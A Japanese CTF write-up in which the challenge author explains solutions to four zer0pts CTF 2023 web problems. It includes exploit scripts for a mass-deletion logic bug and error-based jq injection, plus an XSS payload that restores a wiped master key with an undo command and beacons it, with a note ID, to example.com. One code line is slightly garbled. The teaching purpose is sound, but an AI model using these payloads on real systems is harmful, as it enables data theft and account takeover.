(English version: zer0pts CTF writeup (in English))
チームzer0ptsは、2023年7月15日から2023年7月16日にかけてzer0pts CTF 2023を開催しました。
この記事では、私がzer0pts CTF 2023で出題したWebカテゴリの4問*1について、作問者の視点で想定していた解法やその意図を紹介したいと思います。なお、今回出題した問題については、GitHubリポジトリで公開しています。
リンク:
- CTFtime.orgのページ
- 今回出題された全問題のリポジトリ
- mitsuさんのwriteup: 日本語, English
- ptr-yudaiさんのwriteup: 日本語, English
- keymoonさんのwriteup: English
- Kahlaさんのwriteup: English
- ふるつきさんのインフラやら運営やらの話
- [Web 137] Warmuprofile (48 solves)
- [Web 149] jqi (40 solves)
- [Web 181] Neko Note (26 solves)
- [Web 239] Plain Blog (14 solves)
- 最後に
[Web 137] Warmuprofile (48 solves)
I made an app to share your profile.
Note: Click "Spawn container" to make a challenge container only for you. When writing exploits, be careful that the container asks for BASIC auth credentials.
(URL)
添付ファイル: warmuprofile_80841914cb6ef9b9cdb84c3234ff8704.tar.gz
問題の概要
プロフィールを作成できるサービスです。
適当なユーザ名で登録すると、以下のようにメニューが表示されました。自分自身のプロフィールを確認したり、あるいはプロフィールを削除したりできるようです。フラグを確認できるリンクもありますが、これはadminのみが閲覧できるようです。
ほかの問題と異なり、この問題の問題サーバでは tyage/container-spawner
でユーザごとにコンテナを立てられるようになっています。あえてこのような仕様になっていることから、ユーザごとに環境を用意しなければならないような事情がある、たとえば全ユーザに影響のあるような攻撃をする必要があるということが推測できます。
フラグを閲覧できる条件
ソースコードを見ていきましょう。まずはフラグを読める条件を確認します。対応する箇所はシンプルで、セッションに保存された username
というプロパティ、つまり現在ログインしているユーザ名が admin
であればフラグが表示されるようです。
app.get('/flag', needAuth, (req, res) => { if (req.session.username !== 'admin') { flash(req, 'only admin can read the flag'); return res.redirect('/'); } return res.render('flag', { chall_name: CHALL_NAME, flash: getFlash(req), flag: FLAG }); });
では、admin
としてログインはできないでしょうか。コードを見てみると、最初に admin
というユーザが作成されていることがわかります。そのパスワードはUUIDv4とランダムに設定されており、推測やブルートフォースは難しそうです。
await User.create({ username: 'admin', password: crypto.randomUUID(), profile: 'Hi, I am admin.' });
ログイン処理で何か悪いことができないか確認します。このアプリではSequelizeというORMを使っているので、たとえばJSONを使って username
と password
にオブジェクトを仕込み、NoSQLインジェクションのように認証をバイパスするということを考えてしまいますが、残念ながらここではいずれも文字列であるかどうか確認されています。
app.post('/login', async (req, res) => { // make sure given username and password are valid const { username, password } = req.body; if (!username || !password) { flash(req, 'username or password not provided'); return res.redirect('/login'); } if (typeof username !== 'string' || typeof password !== 'string') { flash(req, 'invalid username or password'); return res.redirect('/login'); } // then check if there is a user with given username nad password const user = await User.findOne({ where: { username, password } }); if (user == null) { flash(req, 'invalid username or password'); return res.redirect('/login'); } // okay, it exists. store user information in session req.session.loggedIn = true; req.session.username = user.username; return res.redirect('/'); });
登録時も同様です。admin
というユーザを重複して作成できないかということも考えてしまいますが、このAPIでは登録しようとしているユーザ名がすでに使われていないか確認されていますし、そもそもORMで unique: true
という設定が username
プロパティにされています。
app.post('/register', async (req, res) => { // make sure given username and password are valid const { username, password, profile } = req.body; if (!username || !password || !profile) { flash(req, 'username, password, or profile not provided'); return res.redirect('/register'); } if (typeof username !== 'string' || typeof password !== 'string' || typeof profile !== 'string') { flash(req, 'invalid username, password, or profile'); return res.redirect('/register'); } // make sure that the requested username does not exist const user = await User.findOne({ where: { username } }); if (user != null) { flash(req, 'user exists'); return res.redirect('/register'); } // okay, create a user await User.create({ username, password, profile }); req.session.loggedIn = true; req.session.username = username; return res.redirect('/'); });
adminの削除
ここまでアプリにある機能に悪用できるものがないか見てきました。残るはユーザの削除機能です。ここで admin
を削除できれば、同じ名前で再度登録することで admin
というユーザ名を奪い取ることができます。最初にログインしているユーザ名と、削除しているユーザの名前とが一致しているかをチェックしており、これによって別のユーザが admin
を直接削除することは防がれています。が、もうちょっと見てみましょう。
なぜか、ここではセッションに保存されているユーザ名を直接 User.destroy({ where: { username } })
のように指定せず、そのユーザ名に対応するユーザ情報を User.findOne
で取得した上で、そのユーザ情報に含まれるデータでレコードを絞って削除しています。
app.post('/user/:username/delete', needAuth, async (req, res) => { const { username } = req.params; const { username: loggedInUsername } = req.session; if (loggedInUsername !== 'admin' && loggedInUsername !== username) { flash(req, 'general user can only delete itself'); return res.redirect('/'); } // find user to be deleted const user = await User.findOne({ where: { username } }); await User.destroy({ where: { ...user?.dataValues } }); // user is deleted, so session should be logged out req.session.destroy(); return res.redirect('/'); });
username
はユニークなので一見問題ないように見えますが、もし、User.findOne
で何もヒットしなければどうなるでしょうか。どうやるかというのはおいておいて、コードを書いて試してみます。同じ User
というオブジェクトがあり、またすでに admin
というユーザが登録されている状況を想定します。そのうえで、以下のように存在しているユーザ名と、存在していないユーザ名でそれぞれ findOne
をしてみます。
function query(username) { return User.findOne({ where: { username } }); } console.log((await query('admin')) + ''); console.log((await query('this-user-does-not-exist')) + '');
実行します。存在しないユーザ名で findOne
をした場合、つまり条件に合うユーザが存在しない場合には null
が返り値となるようです。
~/app # node index.js 2>/dev/null [object SequelizeInstance:User] null
では、そのまま user
に null
が入ったまま、以降のユーザの削除処理に進んだ場合にはどうなるでしょうか。User.destroy
の引数で { ...user?.dataValues }
と user
のプロパティを展開していますが、ここで user
は null
であるため、オプショナルチェーン演算子の効果で user?.dataValues
は undefined
になります。そのため、ここでは User.destroy({ where: {} })
が実行されることになります。
User.destroy({ where: {} })
が実行されるとどうなるか検証してみましょう。先ほど検証に使ったスクリプトについて、以下のような変更を加えます。
function query(username) { return User.findOne({ where: { username } }); } console.log((await query('admin')) + ''); await User.destroy({ where: {} }); console.log((await query('admin')) + '');
実行すると、User.destroy
の実行後には admin
というユーザが削除されていることがわかります。
~/app # node index.js 2>/dev/null [object SequelizeInstance:User] null
何が起こっているのでしょうか。実行されているSQL文をチェックすると、以下のように WHERE
句のない DELETE
が実行されており、このためにすべてのユーザが削除されてしまっていることがわかります。
[object SequelizeInstance:User] Executing (default): DELETE FROM `Users` Executing (default): SELECT `id`, `username`, `password`, `profile`, `createdAt`, `updatedAt` FROM `Users` AS `User` WHERE `User`.`username` = 'admin'; null
これは使えそうですが、どうやってログイン状態を保ちつつ、User.findOne
でユーザがヒットしない状況を作れるでしょうか。答えは「2つのセッションを使う」という方法です。
いったん適当なユーザ名のユーザを作成してログインし、その状態でシークレットウィンドウなどを使って、同じユーザでログインします。このとき、そのユーザでログインしている(つまり、req.session.username
が同じ)2つのセッションが存在していることになります。
このとき、一方のセッションでユーザを削除するとどうなるでしょうか。そのセッションでは req.session.destroy()
によってログイン状態が解除されますが、もう一方のセッションは破棄されず、したがって実際にはすでにそのユーザは存在していないにもかかわらず、ログイン状態が維持されます。
そのまま、ログイン状態のままであるセッションでユーザを削除しようとすると、loggedInUsername !== username
でないという条件を満たしているため、以降の削除処理に進みます。そして、User.findOne
ですでに削除されたユーザを検索してしまうため、その返り値として null
が返ってきてしまうというわけです。
フラグを得る
これで、以下のような流れで admin
を含むすべてのユーザの情報を削除できることがわかりました:
- ユーザを作成する
- 別のセッションで、1で作成したユーザとしてログインする
- 手順1で作成されたセッションでユーザを削除する
- 手順2で作成されたセッションでユーザを削除する
これをスクリプトにします。ついでに、削除後に admin
というユーザを作成します。
import uuid import requests HOST = 'http://localhost:3000' USERNAME, PASSWORD = 'test', 'test' u, p = str(uuid.uuid4()), str(uuid.uuid4()) s1 = requests.Session() s1.auth = USERNAME, PASSWORD s1.post(f'{HOST}/register', data={ 'username': u, 'password': p, 'profile': 'aaa' }) s2 = requests.Session() s2.auth = USERNAME, PASSWORD s2.post(f'{HOST}/login', data={ 'username': u, 'password': p }) s1.post(f'{HOST}/user/{u}/delete') s2.post(f'{HOST}/user/{u}/delete') s3 = requests.Session() s3.auth = USERNAME, PASSWORD s3.post(f'{HOST}/register', data={ 'username': 'admin', 'password': 'admin', 'profile': 'aaa' }) print(s3.get(f'{HOST}/flag').text)
実行すると、フラグが得られました。
$ python3 solve.py <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Flag - Warmuprofile</title> <link rel="stylesheet" href="https://unpkg.com/sakura.css/css/sakura.css" type="text/css"> <link rel="stylesheet" href="/style.css" type="text/css"> </head> <body> <h1>Flag</h1> <p>Congratulations! The flag is: <code>zer0pts{fire_ice_storm_di_acute_brain_damned_jugem_bayoen_bayoen_bayoen_10cefab0}</code></p> </body> </html>
zer0pts{fire_ice_storm_di_acute_brain_damned_jugem_bayoen_bayoen_bayoen_10cefab0}
作問の背景など
first bloodはCyberHeroでした。おめでとうございます。ぷよぷよはあまり遊んだことがありませんが、ユーザを「全消し」するということでこんなフラグにしました。JavaScriptで書かれているWeb問で、ユーザごとに環境が分離されていればPrototype Pollution! …というわけではありません。メタ読みとしてはこういう破壊的な攻撃をするんだろう、そのひとつとしてPrototype Pollutionがあり得るかもぐらいにとどめておくとよいかもしれません。
この問題ははじめからwarmup問として作成したものでした。解いた後に振り返ってみると簡単だと感じられるけれども、解いている途中は悩んでしまうというような問題を目指して作りました。非定型のビジネスロジックバグの問題を作りたかったというのもあります。「全消し」できるような状況を作るために、ユーザの削除処理でわざわざ User.findOne
した結果を User.destroy
で使っている上に、...user?.dataValues
のようにオプショナルチェーンとスプレッド構文を使っていたのはちょっと露骨だったかもしれませんが、ちょっとした誘導として機能してくれることを期待してこうしました。セッションを2つ使わずとも、セッションデータの保存のタイミングの問題(race condition)を利用して1つだけで解いたチームもいるようです。
admin
としてユーザ登録したいけれども、すでに同名のユーザが存在している。なんとかして削除や重複しての登録ができないだろうかというアイデアから、それに関連するコードを確認して脆弱性を見つけるというのが想定解法の流れになっていますが、ガチャガチャと適当に試していたら偶然怪しい挙動を見つけた、先に User.destroy({ where: {} })
が全削除という挙動を取ることを知って、それで何ができるか考えて展開させていったというようなアプローチで解かれた方もいらっしゃるかもしれません。
warmupとした問題がまったく解かれず、warmupタグのついていない同カテゴリのほかの問題の方がsolvesが多いという状況は作りたくないなあと思っています。この問題は序盤になかなかsolvesが増えず、そもそもfirst bloodが出たのも開始から40分ちょっとが経ってようやくというような状況でした。最終的にそこそこのsolvesが出たのはよかったものの、warmupらしい問題ではなかったかもしれません。すみませんでした*2。
[Web 149] jqi (40 solves)
I think jq is useful, so I decided to make a Web app that uses jq.
(URL)
添付ファイル: jqi_e088823cd8a1f29b076271e3e8e5e4da.tar.gz
問題の概要
jqは便利ですよね。与えられたURLにアクセスすると、次のように昨年のzer0pts CTFで出題されたいくつかの問題の情報が表示されます。Keys
のチェックを外すことで、出力される情報を減らすことができます。たとえば、Name
と Flag
だけにチェックを入れておくと、問題名とフラグだけが表示されます。
Add condition
というボタンを押すことで、ある項目にある文字列が含まれている問題だけを表示することができる…はずなのですが、いざ検索ボタンを押すと "Error: sorry, you cannot use filters in demo version" と怒られてしまいます。このアプリはまだデモ版で、検索機能は使えないようです。
コードを見ていきましょう。まずフラグの場所ですが、docker-compose.yml
から環境変数にあることがわかります。
version: '3' services: app: build: . ports: - "8300:3000" environment: - FLAG=nek0pts{FAKE_FLAG} restart: always
メインのコードである index.js
を見ていきます。短いので以下にそのまま載せます。問題文の通りに、ユーザのリクエストをもとにjqのクエリを組み立てて、data.json
の内容を抽出していることがわかります。なお、環境変数のフラグはどこからも参照されていません。
import fs from 'node:fs/promises'; import Fastify from 'fastify'; import jq from 'node-jq'; const fastify = Fastify({ logger: true }); const indexHtml = await fs.readFile('./index.html'); fastify.get('/', async (request, reply) => { reply.type('text/html').send(indexHtml); }); const KEYS = ['name', 'tags', 'author', 'flag']; fastify.get('/api/search', async (request, reply) => { const keys = 'keys' in request.query ? request.query.keys.toString().split(',') : KEYS; const conds = 'conds' in request.query ? request.query.conds.toString().split(',') : []; if (keys.length > 10 || conds.length > 10) { return reply.send({ error: 'invalid key or cond' }); } // build query for selecting keys for (const key of keys) { if (!KEYS.includes(key)) { return reply.send({ error: 'invalid key' }); } } const keysQuery = keys.map(key => { return `${key}:.${key}` }).join(','); // build query for filtering results let condsQuery = ''; for (const cond of conds) { const [str, key] = cond.split(' in '); if (!KEYS.includes(key)) { return reply.send({ error: 'invalid key' }); } // check if the query is trying to break string literal if (str.includes('"') || str.includes('\\(')) { return reply.send({ error: 'hacking attempt detected' }); } condsQuery += `| select(.${key} | contains("${str}"))`; } let query = `[.challenges[] ${condsQuery} | {${keysQuery}}]`; console.log('[+] keys:', keys); console.log('[+] conds:', conds); let result; try { result = await jq.run(query, './data.json', { output: 'json' }); } catch(e) { return reply.send({ error: 'something wrong' }); } if (conds.length > 0) { reply.send({ error: 'sorry, you cannot use filters in demo version' }); } else { reply.send(result); } }); fastify.listen({ host: '0.0.0.0', port: 3000 }, (err, address) => { if (err) { fastify.log.error(err); process.exit(1); } console.log(`Server is now listening on ${address}`); });
jq injection (jqi)
jqのクエリを組み立てて実行しているコードをよく見てみましょう。先ほど検索機能は使えないと言いましたが、以下の処理を見るとわかるように、あくまでユーザから検索の条件が与えられた場合に sorry, you cannot use filters in demo version
というメッセージを出力するというだけで、検索の条件がある場合でもない場合でも、jqのクエリ自体は実行されています。
また、jqのクエリ実行時にエラーが発生すると、something wrong
というメッセージが返されるということもわかります。もし、ここでSQL injectionのような脆弱性、いわばjq injection(jqi)があればどうでしょうか。Error-based SQL injectionのように、エラーが発生したかどうかということをoracleとして、1ビットずつ情報が得られるはずです。
let result; try { result = await jq.run(query, './data.json', { output: 'json' }); } catch(e) { return reply.send({ error: 'something wrong' }); } if (conds.length > 0) { reply.send({ error: 'sorry, you cannot use filters in demo version' }); } else { reply.send(result); }
jqiができないか、クエリの組み立て処理を見ていきます。与えられた条件は hoge in name
のような形を取るわけですが、それを検索したい文字列の hoge
、項目名の name
の2つに分割します。そして、| select(.name | contains("hoge"))
のように select
) を使ってレコードを絞るクエリを組み立てています。
ここで、まず項目名が name
, tags
, author
, flag
のいずれかであるかチェックされています。検索したい文字列については、"
もしくは \(
が含まれていないかチェックすることで、文字列を途中で終了させたり、string interpolationを使ったりといった方法でのjqiを防ごうとしています。
// check if the query is trying to break string literal if (str.includes('"') || str.includes('\\(')) { return reply.send({ error: 'hacking attempt detected' }); }
しかし、バックスラッシュが使われているかどうかはチェックされていません。もし、検索したい文字列として \
を指定した場合はどうなるでしょうか。作り出されるクエリは | select(.name | contains("\"))
のようになり、このクエリ中の2つ目の "
は文字列中の1文字として解釈され、文字列を破壊することができます。
検索したい項目は複数指定することができます。1つ目に \ in name
を指定してjqiを起こしつつ、2つ目で辻褄を合わせて、フラグを抽出するようなペイロードを作り上げていきましょう。
jqでは、(マニュアルには書かれていないようですが)#
を使うことでコメントアウトができます。これを使って、2つ目の検索項目で ))]|123# in name
と指定することで、最終的に実行されるクエリは [.challenges[] | select(.name | contains("\"))| select(.name | contains("))]|123
相当になり、これはjqの文法上問題ないため、エラーは発生しません。123
を適当なものに変えていくことで、フラグを得られないでしょうか。
Error-based jq injection
Error-based SQLiのようにエラーの有無をoracleとしたいわけですが、そのためにある条件を満たした際にエラーを発生させ、満たしていなければエラーは発生させないようなクエリの組み立て方を考えます。エラーといえばゼロ除算です。jqでも、以下のように1/0を計算しようとするとエラーが発生します。
$ curl -g "http://jqi.2023.zer0pts.com:8300/api/search?keys=name%2Ctags%2Cauthor%2Cflag&conds=\+in+name%2C))]|(1/1)%23+in+name" {"error":"sorry, you cannot use filters in demo version"} $ curl -g "http://jqi.2023.zer0pts.com:8300/api/search?keys=name%2Ctags%2Cauthor%2Cflag&conds=\+in+name%2C))]|(1/0)%23+in+name" {"error":"something wrong"}
このとき、条件を満たしているときには1を0で割り、満たしていないときには1を1で割るようにすることで、エラーの発生の有無から条件を満たしているかどうかという1ビットの情報が得られるようになります。
フラグを得る方法を考えていきます。実は、jqでは env.FLAG
のように env
を使うことで環境変数にアクセスができます。そして、env.FLAG[0:1]
のようにして部分文字列を得られます。
1文字ずつ a
, b
, c
, …のように文字列を作っていき、それとフラグのある1文字が一致しているかをブルートフォースで比較することで、フラグを1文字ずつ抽出することを考えます。フィルターによって "
は使えませんが、jqには implode
があり、これを使うことで [123]|implode # "{"
のように文字列を作ることができます。あとは、以下のようにして1文字ずつフラグが得られます。
$ export FLAG=zer0pts{DUMMY} $ echo {} | jq "1/(if (env.FLAG[0:1]==([122]|implode)) then 0 else 1 end)" jq: error (at <stdin>:1): number (1) and number (0) cannot be divided because the divisor is zero $ echo {} | jq "1/(if (env.FLAG[0:1]==([123]|implode)) then 0 else 1 end)" 1
フラグを得る
あとはスクリプトに落とし込むだけです。最終的に、以下のようなexploitができあがりました。
import requests HOST = 'http://jqi.2023.zer0pts.com:8300' def query(i, c): r = requests.get(f'{HOST}/api/search', params={ 'keys': 'name,author', 'conds': ','.join(x for x in [ '\\ in name', f'))]|env.FLAG[{i}:{i+1}]as$c|([{c}]|implode|1/(if($c==.)then(1)else(0)end))# in name' ]) }) return 'demo version' in r.json()['error'] i = 0 flag = '' while not flag.endswith('}'): for c in range(0x20, 0x7f): if query(i, c): flag += chr(c) continue print(i, flag) i += 1
実行すると、フラグが得られます。
$ python3 solve.py 0 z 1 ze 2 zer 3 zer0 4 zer0p 5 zer0pt 6 zer0pts 7 zer0pts{ 8 zer0pts{1 9 zer0pts{1d …
zer0pts{1dk_why_1t_uses_jq}
作問の背景など
first bloodはcat :flag_kr:でした。おめでとうございます。フラグは皆さんの気持ちを代弁したものです。頑張れば二分探索で高速化できると思いますが、楽なのはブルートフォースだということで、総当たりする場合でもなるべく時間がかからないよう短いフラグにしています。言うほど短くないかもしれません。なんでjqかという話ですが、特に理由はありません。ちなみに、jqによる検索対象がzer0pts CTFの過去問となっているのは、私が好きな問題のひとつであるSECCON 2019 Online CTFのSPAが元ネタです。解法はまったく関係ありませんが。
SQL injectionはもはや出涸らしといえるレベルでCTFで出題されているわけですが、Boolean-based SQLi, Error-based SQLiといったアイデアは、(例えが微妙ですが)XPath injectionやLDAP injectionといった似た脆弱性でも応用できることがあります。今回はjq injectionという謎の脆弱性を悪用する問題でしたが、そういった形ですでにあるアイデアを応用できるか、また未知の脆弱性であってもドキュメントやソースコードを読んで必要な情報を集め、exploitするところまでたどり着けるかというところに出題の意図があります。
そのexploitの組み立てについて、エラーの発生を制御する方法や、どういった条件でエラーを発生させるようにするかという方法は色々あると思います。前者については、上記の想定解法ではゼロ除算を使いましたが、jqには error
や halt_error
というまさにそのための機能があるので、これらも使えたかと思います。後者は、上記の想定解法では env.FLAG[12:13]
のようにフラグの一部を文字列として取り出して、[123]|implode
のようにして生成した文字列と比較するという方法をとりましたが、(env.FLAG|explode)[12]
のようにまずフラグを数値の配列にして1文字ずつ取り出す方法であるとか、これは問題のテスト時にptr-yudaiさんが採用していた方法ですが、startswith
で env.FLAG
と別途生成した文字列を比較するということもできます。
ところで、本番サーバにsqlmapやgobusterをぶつけるのはやめてください*3🥺 何も有用なリソースは見つからないですし、docker-compose.yml
ごとソースコードを配布しているので、せめてローカルで環境を用意して試してください🥺
[Web 181] Neko Note (26 solves)
I made another note app.
(URL)
添付ファイル: neko-note_9c9190afaa278a9ea487dde554b4883f.tar.gz
問題の概要
CTF名物であるメモアプリです。
作成したメモは、Show the note
というボタンを押すことで表示されます。
Neko Note特有の機能として、パスワードとほかのメモへのリンクがあります。まずパスワード機能ですが、これはメモの作成時にパスワードを指定すると、そのメモを閲覧するためにそのパスワードを入力しなければならないというものです。
ほかのメモへのリンク機能ですが、これは各メモにIDとして割り当てられているUUIDを [4314b692-e5c0-4b53-bb92-21f0193f7f0d]
のようにブラケットで囲むことで、<a href=/note/4314b692-e5c0-4b53-bb92-21f0193f7f0d title=abc>abc</a>
のようなリンクに置き換えてくれるというものです。
このアプリにはメモの通報機能があり、通報するとPlaywrightを使って書かれたbotがそのメモを閲覧しに来てくれます。このbotが行う動作は次の通りです。
- アプリのトップページにアクセス
- ランダムに生成したパスワードをかけつつ、フラグの書かれたメモを作成
- 通報されたメモを閲覧
- もしパスワードがかけられていた場合は、マスターキー(どんなメモでも閲覧できるパスワード)で解錠する
- メモが解錠でき次第すぐに
input
からマスターキーを削除する
フラグの書かれたメモのIDと、マスターキーもしくはそのメモのパスワードの両方を奪い取るということが、この問題でやるべきことになります。
const context = await browser.newContext(); const page = await context.newPage(); // post a note that has the flag await page.goto(`${BASE_URL}/`); await page.type('#title', 'Flag'); await page.type('#body', `The flag is: ${FLAG}`); const password = crypto.randomBytes(64).toString('base64'); await page.type('#password', password); await page.click('#submit'); // let's check the reported note await page.goto(`${BASE_URL}/note/${id}`); if (await page.$('input') != null) { // the note is locked, so use master key to unlock await page.type('input', MASTER_KEY); await page.click('button'); // just in case there is a vuln like XSS, delete the password to prevent it from being stolen const len = (await page.$eval('input', el => el.value)).length; await page.focus('input'); for (let i = 0; i < len; i++) { await page.keyboard.press('Backspace'); } } // it's ready now. click "Show the note" button await page.click('button'); // done! await wait(1000); await context.close();
XSS
このアプリでXSSができないか確認します。メモの表示処理を見てみると、以下のようにAPIから取得してきたメモの本文をそのまま innerHTML
で設定しており、簡単にXSSができそうに見えます。
function addUnlockedNote(content) { const element = unlockedTemplate.content.cloneNode(true); const div = element.querySelector('div'); const button = element.querySelector('button'); button.addEventListener('click', () => { div.innerHTML = conten取得 button.remove(); }, false); body.appendChild(element); }
const req = await fetch(`/api/note/${id}`); const res = await req.json(); // … addUnlockedNote(note.body);
しかしながら、サーバ側のコードを見るとそこまで単純ではないことがわかります。メモの情報を返すAPIである /api/note/:id
および /api/note/:id/unlock
から呼び出されている renderNote
では、以下のように html.EscapeString
で危険な文字がエスケープされてしまっているためです。
// escape note to prevent XSS first, then replace newlines to <br> and render links func renderNote(note string) string { note = html.EscapeString(note) note = strings.ReplaceAll(note, "\n", "<br>") note = replaceLinks(note) return note }
renderNote
から呼び出されている replaceLinks
という関数を見てみます。これは先ほど紹介したリンク機能を実現するもので、ブラケットで囲まれたIDがあれば、それをIDに対応するメモへのリンクに置き換える処理です。メモのタイトルでXSSができるかと思いきや、ここでも html.EscapeString
で危険な文字がつぶされています。
しかしながら、よくみると置き換えた後のリンクでは、href
属性も title
属性も "
で囲まれていないことがわかります。html.EscapeString
で "
などがエスケープされてしまうという制約はありますが、メモのタイトルを使うことで属性のinjectionができそうです。
// replace [(note ID)] to links func replaceLinks(note string) string { return linkPattern.ReplaceAllStringFunc(note, func(s string) string { id := strings.Trim(s, "[]") note, ok := notes[id] if !ok { return s } title := html.EscapeString(note.Title) return fmt.Sprintf( "<a href=/note/%s title=%s>%s</a>", id, title, title, ) }) }
試しに、a style=color:red
というタイトルのメモを作成します。そして、そのメモへのリンクがある別のメモを作成します。すると、次のように style=color:red
の効果で文字がリンクの赤色になり、属性でinjectionできることが確認できました。
さて、ここからリンクのクリックなどのユーザインタラクションなしにJavaScriptコードの実行に持ち込むにはどうすればよいでしょうか。ひとつの方法として onanimationend
があります。これはCSSアニメーションの再生が終了した際に、設定されている属性値をJSコードとして実行する属性です。あわせて style
属性でこの要素に適当なCSSアニメーションを設定することで利用できます。
CSSアニメーションを設定するには、このアプリのどこかでキーフレームが定義されているという前提条件を満たしている必要があります。CSSを確認すると、ヘッダにいる猫がしっぽを揺らすキーフレームが定義されていました。
.cat:hover .tail { animation: wag 1s linear infinite; } @keyframes wag { 0% { transform: rotateZ(0deg); } 25% { transform: rotateZ(-10deg); } 50% { transform: rotateZ(0deg); } 75% { transform: rotateZ(10deg); } }
これを使って、a onanimationend=alert(123) style=animation-name:wag;animation-duration:0s
というタイトルのメモを作成し、さらにそのメモにリンクを張ります。作成されたメモを開いてやると、アラートが表示されました。
これまで作成したメモは localStorage
に保存されているので、これの neko-note-history
を参照するようなコードをbotに踏ませることで、フラグの書かれているメモのIDが取得できます。
function setHistory(hist) { localStorage.setItem('neko-note-history', JSON.stringify(hist)) }
マスターキーの窃取
これでフラグの書かれているメモのIDを盗み取ることができるようになりましたが、まだやるべきことがあります。マスターキー、もしくはフラグのメモに設定されているパスワードの窃取です。botは通報されたメモの閲覧時に、マスターキーを入力してメモを表示した後に、それを削除しているわけですが、何とかしてその内容を復元できないでしょうか。
"textarea" "undo"
のようなクエリでググると、そのうち document.execCommand
というメソッドの存在に気付くはずです。deprecatedと言われていますが、Chrome 114でもしぶとく生き残っています。このメソッドで実行できるコマンドの中に、undo
があります。これを使うと、textarea
や input
で文字列を入力する、あるいは削除するといったアクションについて、実行前の状態にundoできます。これを使えば、マスターキーの削除をなかったことにできないでしょうか。
先ほどの alert(123)
を実行するペイロードについて、実行するコードを import(`//example.com`)
のように変えて、実行したいJSコードを変えるためにいちいちメモの投稿をせずとも済むようにします。そして、以下のPHPコードを適当なWebサーバでホストして、準備完了です。
<?php header('Access-Control-Allow-Origin: *'); header('Content-Type: application/javascript'); ?> alert(123);
フラグを得る
実行するJSコードを以下のように変えます。これで、フラグの書かれているメモのIDとあわせてマスターキーが手に入るはずです。
const h = localStorage.getItem('neko-note-history'); const id = JSON.parse(h)[0].id; document.execCommand('undo'); const pw = document.querySelector('input').value; navigator.sendBeacon(`https://example.com/?id=${id}&pw=${pw}`);
メモを通報すると、以下のようにフラグの書かれたメモのIDとマスターキーが得られました。
マスターキーを使ってこのメモを閲覧すると、フラグが得られました。
zer0pts{neko_no_te_mo_karitai_m8jYx9WiTDY}
作問の背景など
first bloodはI should probably study for my exam insteadでした。おめでとうございます。フラグは問題名のNeko Noteとかけたダジャレです。猫の手も借りたい。ランダムっぽい部分はYouTubeの動画IDです。ササキトモコ先生の作った猫の曲(?)といえば「フレデリカ、猫やめるよ」「neko*neko」ですが、どちらも大好きです。
作問のコンセプトは…特にありません。MDNを眺めていたら document.execCommand('undo')
でundoができることを偶然知り、それを問題として仕立て上げられないかと試行錯誤していたらできました。このメソッドとコマンドを見つけられるかどうかが重要となっているのにはどうなんだろうかと少し思います。26チームが解いているので問題はなかったと受け取ってよいでしょうか。
[Web 239] Plain Blog (14 solves)
I made a blog service consists of two servers: API server and Frontend server. The former provides APIs that you can see, add, or modify posts. The latter uses responses from API server and render it.
If you could get 1,000,000,000,000 likes on your post, I will give you the flag. The maximum number of likes is 5,000, though.API server: (URL)
Frontend server: (URL)添付ファイル: plain-blog_0ca2bbfebee2a86c919afa1fc29f1c41.tar.gz
問題の概要
CTF名物その2、ブログサービスです。この問題はAPIサーバとフロントエンドサーバの2つのサービスからなっています。前者はブログ記事の投稿やら記事情報の取得やらといった機能を持っているものの、レスポンスが全部JSONです。一方後者は、クロスオリジンにAPIサーバから情報を取得したり、あるいは新規に作成する記事の情報を投げたりしつつ、いい感じにユーザが使いやすいよう表示する役割を担っています。
ということで、とっつきやすいフロントエンドサーバから見て、機能を把握していきます。トップページは以下のスクリーンショットの通りで、上部には使い方(/#page=post&id=41071402-ea46-414b-899a-aaf4b2fc4b3b,a7a74a78-3a82-4c77-a042-f997398af586,1252b5db-7d35-4563-8e1e-4658a8c90daa
のようなパスのサンプル記事へのリンクなど)、下部には記事の投稿ができるフォームがあります。
適当な記事を投稿してみましょう。以下のように、記事の内容といいねができるボタンが表示されました。
いいねボタンを押すと、その記事にいいねができます。
いいねボタンの隣にある appeal to admin to add 1,000 likes
は、botへの記事の通報ができるフォームへのリンクになっています。
記事のIDを送信すると、一気に1000いいねがもらえました。
botの挙動は次の通りです。指定された記事を開き、いいねボタンを押しているだけです。複数の記事を同時に表示する機能もありますが、その際は最初に表示された記事のいいねボタンが押されます。
const context = await browser.newContext(); const page = await context.newPage(); await page.setExtraHTTPHeaders({ 'Authorization': ADMIN_KEY }); // let's check the reported post const url = `${BASE_URL}/#page=post&id=${id}&admin=yes`; await page.goto(url); await page.waitForSelector('.like', { timeout: 5000 }); // click the first like button await page.click('.like'); // done! await wait(1000); await context.close();
フラグが得られる条件
ソースコードを確認していきます。Rubyで書かれたAPIサーバを見ると、フラグを得られるAPIは /api/post/:id/has_enough_permission_to_get_the_flag
であることがわかります。また、その記事の permission
プロパティの、さらにその flag
プロパティがtruthyであることがこのAPIがフラグを返す条件であることもわかります。
# the post has over 1,000,000,000,000 likes, so we give you the flag get '/api/post/:id/has_enough_permission_to_get_the_flag' do id = params['id'] if !posts.key?(id) return { 'error' => 'no such post' }.to_json end permission = posts[id]['permission'] if !permission || !permission['flag'] return { 'flag' => 'nope' }.to_json end return { 'flag' => FLAG }.to_json end
では、post['permission']['flag']
がtruthyになる条件とはなんでしょうか。APIサーバでほかに flag
プロパティを触っている箇所を探すと、いいねボタンを押した際にリクエストが飛ぶ POST /api/post/:id/like
が見つかります。1,000,000,000,000(1兆)いいねをゲットすると、どうやらフラグを表示できるフラグが立つようです。
…が、そんなにリクエストを送っているうちにCTFが終わってしまいますし、そもそも迷惑です。そして、いいねには最大値として5000個が設定されており、それを超えるいいねは付与できないようになっています。したがって、1兆いいねの付与によるフラグの取得はできなそうです。
ところで、ここで ADMIN_KEY
という定数が登場しています。先ほど紹介したbotは Authorization
ヘッダにこの ADMIN_KEY
に入っている文字列を設定しつつ、記事を閲覧しに来ます。APIサーバはこれで特別な権限を持ったユーザ(admin)であるかを判断しているわけです。
